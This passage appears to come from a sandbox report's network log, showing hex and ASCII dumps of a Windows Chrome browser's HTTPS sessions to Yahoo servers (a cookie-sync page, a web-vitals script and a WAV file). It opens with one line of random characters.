~qLU4XJftwkZ?4W$^ieYQSQWk=!ue!??LQDJnxQ8Tl\|c[7-FLYxvF>eAQFxIxB=TFJ>&!Nt'>0$&<j$sb)F@:C@-1(rbdUlvbpG
2024-01-10 23:27:15 UTC	1300	IN	Data Raw: 69 bf 8a 8c 63 b8 eb f6 dd 8d d8 a0 10 1d e5 ab 0f a8 5f ae 63 fc e2 37 a3 9d 18 6d 96 db 43 9f 51 28 db a5 cf f3 88 d4 44 9a 23 9e ac e1 d9 04 9f 69 a1 84 a8 7d d2 b2 0c 4c e3 99 fc 46 5c 9e 26 89 cc 4a f3 ec 0f aa 69 8d cb 4b 9b d8 a9 45 77 f8 c3 ce 09 bf 6a 32 ec 7f a3 0c cc cc c4 ca b3 cc ba 56 46 c3 a0 f4 8d 9a d4 65 cb 2f 22 22 40 3a 26 23 7b 8a 72 b0 12 bc df 75 22 de 02 1e 44 fd 16 77 87 0e 80 b6 bc 81 4e 47 7c 3a cf 35 f2 e1 d0 24 6b 14 f2 b4 f1 fc 48 2b 6d cb a1 a6 d0 c1 ba 96 9c c6 13 18 9b 74 41 20 ce 79 a6 94 7a 2c 44 72 a3 7b 4a 29 16 fa 92 48 e5 dc 2f fc d1 55 f8 d9 d6 9a 5c 9c 07 c4 89 93 5c fe 1a 71 cb 19 b0 97 25 ef b7 31 37 d3 de 92 47 ad a3 99 cf 3d bd 1f f1 5d 9f 1e 6d 7f b6 84 65 20 bb 2b 4b 4b c9 71 2f c9 73 c2 00 00 87 0a 85 d5 a0 Data Ascii: ic_c7mCQ(D#i}LF\&JiKEwj2VFe/""@:&#{ru"DwNG\|:5$kH+mtA yz,Dr{J)H/U\\q%17G=]me +KKq/s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
202	192.168.2.4	49949	23.55.243.211	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:15 UTC	1603	OUT	GET /checksync.php?vsSync=1&cs=8&cv=31&https=1&cid=8YHBJ3BJ0&prvid=25268%2C25224%2C25025%2C25146%2C25223%2C25300%2C25028%2C25027%2C25302%2C25269%2C25225%2C25304%2C25306%2C25141%2C25140%2C25220%2C25022%2C25021%2C25024%2C25145%2C25221%2C25060%2C25158%2C25235%2C25036%2C25278%2C25237%2C25159%2C25038%2C25118%2C25239%2C25117%2C25270%2C25072%2C25031%2C25030%2C25198%2C25274%2C25276%2C25071%2C25202%2C25003%2C25006%2C25204%2C25007%2C25208%2C25009%2C25282%2C25240%2C25284%2C25042%2C25088%2C25286%2C25241%2C25087%2C25043%2C25002%2C25288%2C25001%2C25243%2C25280%2C25059%2C25136%2C25135%2C25017%2C25137%2C25217%2C25019%2C25018%2C25219%2C25218%2C25292%2C25053%2C25097%2C25250%2C25052%2C25096%2C25294%2C25296%2C25134%2C25298%2C25091%2C25090%2C25290&itype=YHB&purpose1=1&gdprconsent=1&gdpr=0&coppa=0&usp_status=1&usp_consent=1&uspstring=1YNN HTTP/1.1 Host: hb.yahoo.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: visitor-id=3479308310180275000V10; data-mag=LR8EUG12-1F-5JG4~~1; data-mn=3479308330180239000V10~~1
2024-01-10 23:27:15 UTC	491	IN	HTTP/1.1 200 OK Server: Apache Content-Length: 30747 Content-Type: text/html; charset=UTF-8 Set-Cookie: usp_status=1; Expires=Mon, 08 Jul 2024 23:27:15 GMT; domain=.hb.yahoo.net; Path=/; sameSite=none; secure=true x-mnet-hl2: E Strict-Transport-Security: max-age=86400 ; includeSubDomains Strict-Transport-Security: max-age=604800 Expires: Wed, 10 Jan 2024 23:27:15 GMT Cache-Control: max-age=0, no-cache Pragma: no-cache Date: Wed, 10 Jan 2024 23:27:15 GMT Connection: close
2024-01-10 23:27:15 UTC	1	IN	Data Raw: 20 Data Ascii:
2024-01-10 23:27:15 UTC	16384	IN	Data Raw: 20 20 20 20 3c 68 74 6d 6c 3e 20 3c 68 65 61 64 3e 3c 2f 68 65 61 64 3e 20 3c 62 6f 64 79 3e 20 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 74 72 79 7b 0a 76 61 72 20 63 6f 6f 6b 69 65 53 79 6e 63 43 6f 6e 66 69 67 20 3d 20 7b 22 64 61 74 61 6c 65 6e 22 3a 32 35 2c 22 76 69 73 69 74 6f 72 22 3a 7b 22 76 73 43 6b 22 3a 22 76 69 73 69 74 6f 72 2d 69 64 22 2c 22 76 73 44 61 43 6b 22 3a 22 64 61 74 61 22 2c 22 73 65 70 56 61 6c 22 3a 22 7c 22 2c 22 73 65 70 54 69 6d 65 22 3a 22 2a 22 2c 22 73 65 70 43 73 22 3a 22 7e 7e 22 2c 22 76 73 44 61 54 69 6d 65 22 3a 31 35 35 35 32 30 30 30 2c 22 63 63 22 3a 22 55 53 22 2c 22 7a 6f 6e 65 22 3a 22 20 65 20 22 2c 22 63 6f 63 22 3a 22 4e 41 22 7d 2c 22 63 73 22 3a 22 38 22 Data Ascii: <html> <head></head> <body> <script type="text/javascript">try{var cookieSyncConfig = {"datalen":25,"visitor":{"vsCk":"visitor-id","vsDaCk":"data","sepVal":"\|","sepTime":"*","sepCs":"~~","vsDaTime":15552000,"cc":"US","zone":" e ","coc":"NA"},"cs":"8"
2024-01-10 23:27:15 UTC	14362	IN	Data Raw: 65 74 75 72 6e 20 6f 28 72 29 26 26 28 75 3d 72 2c 72 3d 5b 5d 29 2c 21 21 28 74 28 65 29 26 26 6e 28 72 29 26 26 6f 28 75 29 29 26 26 76 6f 69 64 28 69 5b 65 5d 3d 7b 64 65 70 73 3a 72 2c 63 61 6c 6c 62 61 63 6b 3a 75 7d 29 7d 66 75 6e 63 74 69 6f 6e 20 72 28 6e 2c 74 29 7b 76 61 72 20 65 2c 75 3d 5b 5d 3b 66 6f 72 28 76 61 72 20 66 20 69 6e 20 6e 29 69 66 28 6e 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 28 66 29 29 7b 69 66 28 65 3d 6e 5b 66 5d 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 7c 7c 22 75 6e 64 65 66 69 6e 65 64 22 3d 3d 74 79 70 65 6f 66 20 65 29 7b 75 2e 70 75 73 68 28 65 29 3b 63 6f 6e 74 69 6e 75 65 7d 76 6f 69 64 20 30 21 3d 3d 63 5b 65 5d 3f 75 2e 70 75 73 68 28 63 5b 65 5d 29 3a 28 63 5b 65 5d 3d 72 28 69 5b 65 5d 2e 64 Data Ascii: eturn o(r)&&(u=r,r=[]),!!(t(e)&&n(r)&&o(u))&&void(i[e]={deps:r,callback:u})}function r(n,t){var e,u=[];for(var f in n)if(n.hasOwnProperty(f)){if(e=n[f],"object"==typeof e\|\|"undefined"==typeof e){u.push(e);continue}void 0!==c[e]?u.push(c[e]):(c[e]=r(i[e].d

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
203	192.168.2.4	49957	69.147.92.11	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:15 UTC	533	OUT	GET /cx/pv/perf-vitals_3.2.0.js HTTP/1.1 Host: s.yimg.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-10 23:27:15 UTC	750	IN	HTTP/1.1 200 OK x-amz-id-2: CVe47VoTJELsfEtDj7o54rd47wRjnOMMfhNKoatQWwwNdLV9+BPFaeM/Q+Wdc23oaXCcsA8yTQg= x-amz-request-id: APYZTXTEZ7W91SPM Date: Wed, 10 Jan 2024 23:27:16 GMT Last-Modified: Tue, 12 Sep 2023 19:35:40 GMT ETag: "26831b6bd9ea430823f593b6a70c7375" x-amz-server-side-encryption: AES256 Cache-Control: public,max-age=31536000 Accept-Ranges: bytes Content-Type: application/javascript Server: ATS Content-Length: 8128 Referrer-Policy: no-referrer-when-downgrade Vary: Origin Age: 0 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff
2024-01-10 23:27:15 UTC	844	IN	Data Raw: 21 66 75 6e 63 74 69 6f 6e 28 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 65 2c 74 2c 6e 2c 69 2c 72 2c 61 3d 2d 31 2c 6f 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 70 61 67 65 73 68 6f 77 22 2c 28 66 75 6e 63 74 69 6f 6e 28 74 29 7b 74 2e 70 65 72 73 69 73 74 65 64 26 26 28 61 3d 74 2e 74 69 6d 65 53 74 61 6d 70 2c 65 28 74 29 29 7d 29 2c 21 30 29 7d 2c 63 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 77 69 6e 64 6f 77 2e 70 65 72 66 6f 72 6d 61 6e 63 65 26 26 70 65 72 66 6f 72 6d 61 6e 63 65 2e 67 65 74 45 6e 74 72 69 65 73 42 79 54 79 70 65 26 26 70 65 72 66 6f 72 6d 61 6e 63 65 2e 67 65 74 45 6e 74 72 69 65 73 42 79 54 79 70 65 28 22 6e 61 76 69 67 61 74 69 6f 6e 22 29 5b 30 5d Data Ascii: !function(){"use strict";var e,t,n,i,r,a=-1,o=function(e){addEventListener("pageshow",(function(t){t.persisted&&(a=t.timeStamp,e(t))}),!0)},c=function(){return window.performance&&performance.getEntriesByType&&performance.getEntriesByType("navigation")[0]
2024-01-10 23:27:15 UTC	1300	IN	Data Raw: 20 69 2e 6f 62 73 65 72 76 65 28 4f 62 6a 65 63 74 2e 61 73 73 69 67 6e 28 7b 74 79 70 65 3a 65 2c 62 75 66 66 65 72 65 64 3a 21 30 7d 2c 6e 7c 7c 7b 7d 29 29 2c 69 7d 7d 63 61 74 63 68 28 65 29 7b 7d 7d 2c 64 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 2c 69 29 7b 76 61 72 20 72 2c 61 3b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 6f 29 7b 74 2e 76 61 6c 75 65 3e 3d 30 26 26 28 6f 7c 7c 69 29 26 26 28 28 61 3d 74 2e 76 61 6c 75 65 2d 28 72 7c 7c 30 29 29 7c 7c 76 6f 69 64 20 30 3d 3d 3d 72 29 26 26 28 72 3d 74 2e 76 61 6c 75 65 2c 74 2e 64 65 6c 74 61 3d 61 2c 74 2e 72 61 74 69 6e 67 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 65 3e 74 5b 31 5d 3f 22 70 6f 6f 72 22 3a 65 3e 74 5b 30 5d 3f 22 6e 65 65 64 73 2d 69 6d 70 72 6f 76 Data Ascii: i.observe(Object.assign({type:e,buffered:!0},n\|\|{})),i}}catch(e){}},d=function(e,t,n,i){var r,a;return function(o){t.value>=0&&(o\|\|i)&&((a=t.value-(r\|\|0))\|\|void 0===r)&&(r=t.value,t.delta=a,t.rating=function(e,t){return e>t[1]?"poor":e>t[0]?"needs-improv
2024-01-10 23:27:15 UTC	1300	IN	Data Raw: 6f 6e 28 29 7b 76 61 72 20 6e 2c 69 3d 5b 31 38 30 30 2c 33 65 33 5d 2c 72 3d 45 28 29 2c 61 3d 73 28 22 46 43 50 22 29 2c 63 3d 66 28 22 70 61 69 6e 74 22 2c 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 66 6f 72 45 61 63 68 28 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 22 66 69 72 73 74 2d 63 6f 6e 74 65 6e 74 66 75 6c 2d 70 61 69 6e 74 22 3d 3d 3d 65 2e 6e 61 6d 65 26 26 28 63 2e 64 69 73 63 6f 6e 6e 65 63 74 28 29 2c 65 2e 73 74 61 72 74 54 69 6d 65 3c 72 2e 66 69 72 73 74 48 69 64 64 65 6e 54 69 6d 65 26 26 28 61 2e 76 61 6c 75 65 3d 4d 61 74 68 2e 6d 61 78 28 65 2e 73 74 61 72 74 54 69 6d 65 2d 75 28 29 2c 30 29 2c 61 2e 65 6e 74 72 69 65 73 2e 70 75 73 68 28 65 29 2c 6e 28 21 30 29 29 29 7d 29 29 7d 29 29 3b 63 26 26 28 6e 3d 64 28 65 2c 61 2c 69 2c 74 Data Ascii: on(){var n,i=[1800,3e3],r=E(),a=s("FCP"),c=f("paint",(function(e){e.forEach((function(e){"first-contentful-paint"===e.name&&(c.disconnect(),e.startTime<r.firstHiddenTime&&(a.value=Math.max(e.startTime-u(),0),a.entries.push(e),n(!0)))}))}));c&&(n=d(e,a,i,t
2024-01-10 23:27:15 UTC	1300	IN	Data Raw: 3d 6b 3f 28 6b 2d 4d 29 2f 37 2b 31 3a 30 29 7d 29 29 7d 2c 46 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 72 3f 52 3a 70 65 72 66 6f 72 6d 61 6e 63 65 2e 69 6e 74 65 72 61 63 74 69 6f 6e 43 6f 75 6e 74 7c 7c 30 7d 2c 5f 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 22 69 6e 74 65 72 61 63 74 69 6f 6e 43 6f 75 6e 74 22 69 6e 20 70 65 72 66 6f 72 6d 61 6e 63 65 7c 7c 72 7c 7c 28 72 3d 66 28 22 65 76 65 6e 74 22 2c 44 2c 7b 74 79 70 65 3a 22 65 76 65 6e 74 22 2c 62 75 66 66 65 72 65 64 3a 21 30 2c 64 75 72 61 74 69 6f 6e 54 68 72 65 73 68 6f 6c 64 3a 30 7d 29 29 7d 2c 78 3d 30 2c 4f 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 46 28 29 2d 78 7d 2c 42 3d 5b 5d 2c 48 3d 7b 7d 2c 4e 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 42 5b Data Ascii: =k?(k-M)/7+1:0)}))},F=function(){return r?R:performance.interactionCount\|\|0},_=function(){"interactionCount"in performance\|\|r\|\|(r=f("event",D,{type:"event",buffered:!0,durationThreshold:0}))},x=0,O=function(){return F()-x},B=[],H={},N=function(e){var t=B[
2024-01-10 23:27:15 UTC	1300	IN	Data Raw: 2e 63 6f 6e 63 61 74 28 75 2c 22 5f 65 6c 6d 74 22 29 5d 3d 28 70 2e 6e 6f 64 65 4e 61 6d 65 7c 7c 22 22 29 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 2c 76 5b 22 22 2e 63 6f 6e 63 61 74 28 75 2c 22 5f 69 64 22 29 5d 3d 70 2e 69 64 7c 7c 70 2e 63 6c 61 73 73 4e 61 6d 65 7c 7c 22 22 2c 76 5b 22 22 2e 63 6f 6e 63 61 74 28 75 2c 22 5f 73 6c 6b 22 29 5d 3d 28 70 2e 69 6e 6e 65 72 54 65 78 74 7c 7c 70 2e 61 6c 74 7c 7c 70 2e 74 69 74 6c 65 7c 7c 22 22 29 2e 72 65 70 6c 61 63 65 28 4a 2c 22 20 22 29 2e 73 75 62 73 74 72 28 30 2c 31 35 30 29 29 2c 66 2e 75 72 6c 26 26 28 76 5b 22 22 2e 63 6f 6e 63 61 74 28 75 2c 22 5f 75 72 6c 22 29 5d 3d 66 2e 75 72 6c 29 3b 76 61 72 20 6c 3d 74 2e 67 65 74 52 61 70 69 64 41 74 74 72 69 62 75 74 65 28 22 6b 65 79 73 22 29 2c 6d Data Ascii: .concat(u,"_elmt")]=(p.nodeName\|\|"").toLowerCase(),v["".concat(u,"_id")]=p.id\|\|p.className\|\|"",v["".concat(u,"_slk")]=(p.innerText\|\|p.alt\|\|p.title\|\|"").replace(J," ").substr(0,150)),f.url&&(v["".concat(u,"_url")]=f.url);var l=t.getRapidAttribute("keys"),m
2024-01-10 23:27:15 UTC	1300	IN	Data Raw: 61 2e 69 64 5d 7c 7c 28 63 28 6d 2e 74 61 6b 65 52 65 63 6f 72 64 73 28 29 29 2c 6d 2e 64 69 73 63 6f 6e 6e 65 63 74 28 29 2c 71 5b 61 2e 69 64 5d 3d 21 30 2c 6e 28 21 30 29 29 7d 29 29 3b 5b 22 6b 65 79 64 6f 77 6e 22 2c 22 63 6c 69 63 6b 22 5d 2e 66 6f 72 45 61 63 68 28 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 65 2c 68 2c 21 30 29 7d 29 29 2c 76 28 68 29 2c 6f 28 28 66 75 6e 63 74 69 6f 6e 28 72 29 7b 61 3d 73 28 22 4c 43 50 22 29 2c 6e 3d 64 28 65 2c 61 2c 69 2c 74 2e 72 65 70 6f 72 74 41 6c 6c 43 68 61 6e 67 65 73 29 2c 70 28 28 66 75 6e 63 74 69 6f 6e 28 29 7b 61 2e 76 61 6c 75 65 3d 70 65 72 66 6f 72 6d 61 6e 63 65 2e 6e 6f 77 28 29 2d 72 2e 74 69 6d 65 53 74 61 6d 70 2c 71 5b 61 2e 69 64 5d 3d 21 30 Data Ascii: a.id]\|\|(c(m.takeRecords()),m.disconnect(),q[a.id]=!0,n(!0))}));["keydown","click"].forEach((function(e){addEventListener(e,h,!0)})),v(h),o((function(r){a=s("LCP"),n=d(e,a,i,t.reportAllChanges),p((function(){a.value=performance.now()-r.timeStamp,q[a.id]=!0
2024-01-10 23:27:15 UTC	784	IN	Data Raw: 63 74 69 6f 6e 28 65 29 7b 65 2e 69 6e 74 65 72 61 63 74 69 6f 6e 49 64 26 26 4e 28 65 29 2c 22 66 69 72 73 74 2d 69 6e 70 75 74 22 3d 3d 3d 65 2e 65 6e 74 72 79 54 79 70 65 26 26 21 42 2e 73 6f 6d 65 28 28 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 74 2e 65 6e 74 72 69 65 73 2e 73 6f 6d 65 28 28 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 65 2e 64 75 72 61 74 69 6f 6e 3d 3d 3d 74 2e 64 75 72 61 74 69 6f 6e 26 26 65 2e 73 74 61 72 74 54 69 6d 65 3d 3d 3d 74 2e 73 74 61 72 74 54 69 6d 65 7d 29 29 7d 29 29 26 26 4e 28 65 29 7d 29 29 3b 76 61 72 20 74 2c 6e 3d 28 74 3d 4d 61 74 68 2e 6d 69 6e 28 42 2e 6c 65 6e 67 74 68 2d 31 2c 4d 61 74 68 2e 66 6c 6f 6f 72 28 4f 28 29 2f 35 30 29 29 2c 42 5b 74 5d 29 3b 6e 26 26 6e 2e 6c 61 74 65 Data Ascii: ction(e){e.interactionId&&N(e),"first-input"===e.entryType&&!B.some((function(t){return t.entries.some((function(t){return e.duration===t.duration&&e.startTime===t.startTime}))}))&&N(e)}));var t,n=(t=Math.min(B.length-1,Math.floor(O()/50)),B[t]);n&&n.late

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
204	192.168.2.4	49956	69.147.92.11	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:15 UTC	568	OUT	GET /pv/static/misc/voice-start-202105050733.wav HTTP/1.1 Host: s.yimg.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Accept-Encoding: identity;q=1, ;q=0 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: /* Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: audio Referer: https://www.yahoo.com/ Accept-Language: en-US,en;q=0.9 Range: bytes=0-
2024-01-10 23:27:15 UTC	926	IN	HTTP/1.1 206 Partial Content x-amz-id-2: Cdj1pnAkkH3TF6psc83xVC1cD1Z9XSpZJAZDaqRBmYgXsc3LsUjTPDX1Y0tPeJgkh9kplPJD94I= x-amz-request-id: XGREQXZ1BYDM4HNQ Date: Sun, 07 Jan 2024 15:48:45 GMT Last-Modified: Wed, 05 May 2021 07:33:16 GMT ETag: "8abfe6dfa7b0d9a5a4b7268155054740" x-amz-server-side-encryption: AES256 Cache-Control: max-age=31536000, public Expires: Mon, 05 May 2031 07:33:14 GMT x-amz-meta-x-ysws-access: public Accept-Ranges: bytes Content-Type: binary/octet-stream Server: ATS Content-Length: 189160 Referrer-Policy: no-referrer-when-downgrade Vary: Origin Age: 286711 ATS-Carp-Promotion: 1 Content-Range: bytes 0-189159/189160 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff ATS-Carp-Promotion: 1
2024-01-10 23:27:15 UTC	1300	IN	Data Raw: 52 49 46 46 e0 e2 02 00 57 41 56 45 66 6d 74 20 10 00 00 00 03 00 02 00 44 ac 00 00 20 62 05 00 08 00 20 00 64 61 74 61 68 b0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: RIFFWAVEfmt D b datah
2024-01-10 23:27:15 UTC	1300	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
2024-01-10 23:27:15 UTC	1300	IN	Data Raw: 03 a3 c1 3c 1f 1d 64 3c 4c 2c 65 3c ed 94 3f 3b 8b 71 40 3b 02 58 36 bc a0 34 37 bc 12 81 ce bc 9e 79 cf bc 21 91 18 bd 89 48 19 bd 62 75 45 bd 9e 62 46 bd f4 fb 67 bd 8e 12 69 bd 96 42 7b bd 41 70 7c bd f4 33 82 bd 44 d0 82 bd 0c 95 82 bd d9 31 83 bd 64 65 81 bd c7 00 82 bd f4 8a 81 bd 90 26 82 bd 69 14 80 bd 4b ae 80 bd 6b cc 7d bd 5b fd 7e bd 23 48 84 bd 10 e7 84 bd 12 f6 8b bd 3b 9e 8c bd 64 87 8f bd d6 33 90 bd cb 91 90 bd 7a 3f 91 bd 2b b3 8e bd 99 5e 8f bd ca 6f 87 bd 8e 12 88 bd 30 73 75 bd 51 9a 76 bd e4 5e 4d bd 1d 56 4e bd 04 f7 19 bd b8 b0 1a bd b2 0e ce bc 21 08 cf bc 95 32 4e bc 5f 2f 4f bc b8 88 ac 38 a9 69 aa 38 cc 2c 1f 3c 5a e5 1f 3c ed 72 87 3c 06 12 88 3c 0b 46 ba 3c f4 21 bb 3c 15 63 df 3c 5d 6b e0 3c 81 4e f5 3c f3 70 f6 3c cc b2 05 Data Ascii: <d<L,e<?;q@;X647y!HbuEbFgiB{Ap\|3D1de&iKk}[~#H;d3z?+^o0suQv^MVN!2N_/O8i8,<Z<r<<F<!<c<]k<N<p<
2024-01-10 23:27:15 UTC	1300	IN	Data Raw: 08 bb 7c bd 97 ec 7d bd 01 39 88 bd 8a dd 88 bd 6e e1 90 bd 5a 90 91 bd e8 80 95 bd 4e 35 96 bd 90 e9 98 bd 13 a2 99 bd e8 26 99 bd a3 df 99 bd 26 b4 91 bd f4 63 92 bd 49 52 83 bd db f0 83 bd 07 0e 60 bd d9 1c 61 bd e5 3a 34 bd 36 15 35 bd 6a d0 08 bd c2 76 09 bd 3d 97 b8 bc fb 78 b9 bc d1 eb 42 bc b5 de 43 bc 89 53 7f bb e3 54 80 bb 2e 4e f4 3a f8 27 f5 3a d4 3c e8 3b 0c 41 e9 3b 5c 24 37 3c ba f6 37 3c 76 4b 70 3c 6a 62 71 3c 7e d0 9f 3c 85 8b a0 3c eb ab d2 3c ef a3 d3 3c 31 0d 07 3d e8 ac 07 3d fb cf 28 3d 17 98 29 3d cc e7 4a 3d d5 d8 4b 3d 53 bc 6d 3d fe d6 6e 3d 8e 71 87 3d c6 12 88 3d e3 15 91 3d b0 c2 91 3d fa d8 92 3d e6 87 93 3d 6c ee 90 3d 0c 9b 91 3d b4 87 8a 3d b9 2c 8b 3d c4 87 7c 3d 77 b4 7d 3d cb 11 5e 3d fc 19 5f 3d 86 14 3e 3d 5b f6 3e Data Ascii: \|}9nZN5&&cIR`a:465jv=xBCST.N:':<;A;\$7<7<vKp<jbq<~<<<<1==(=)=J=K=Sm=n=q======l===,=\|=w}=^=_=>=[>
2024-01-10 23:27:15 UTC	1300	IN	Data Raw: c4 b4 72 bc a1 b2 25 bc 44 78 26 bc 9c c5 a9 bb 23 8f aa bb 8e 6a 3d ba db 3b 3e ba b0 48 6e 3b 9a 6a 6f 3b 6d 59 1c 3c 39 16 1d 3c 41 fa 8a 3c 7c a1 8b 3c e8 ca d0 3c c1 c5 d1 3c 4c a7 0f 3d d5 53 10 3d 53 1f 37 3d 0e fb 37 3d 34 36 5b 3d 3f 3d 5c 3d df da 78 3d 73 05 7a 3d c6 60 85 3d cc 00 86 3d 68 08 89 3d cf ac 89 3d 4d 32 89 3d ed d6 89 3d 92 e4 83 3d df 82 84 3d 08 b5 72 3d 89 d8 73 3d b2 96 5c 3d af 9f 5d 3d ff 7e 49 3d 2e 71 4a 3d e7 8f 38 3d ef 6d 39 3d ca 2b 2a 3d ac f8 2a 3d ad 4f 1d 3d 17 0d 1e 3d 9b 89 12 3d 34 3a 13 3d 40 b5 09 3d 55 5b 0a 3d 51 23 f7 3c b7 4d f8 3c 19 99 c8 3c d0 8b c9 3c 0a 58 8e 3c 1b 05 8f 3c cf 80 0a 3c ee 2b 0b 3c 34 61 29 bb 38 16 2a bb 95 ac 67 bc 76 bc 68 bc 05 a9 ce bc 81 9d cf bc 9b 13 12 bd 06 c1 12 bd 08 87 36 Data Ascii: r%Dx&#j=;>Hn;jo;mY<9<A<\|<<<L=S=S7=7=46[=?=\=x=sz=`==h==M2====r=s=\=]=~I=.qJ=8=m9=+==O===4:=@=U[=Q#<M<<<X<<<+<4a)8*gvh6
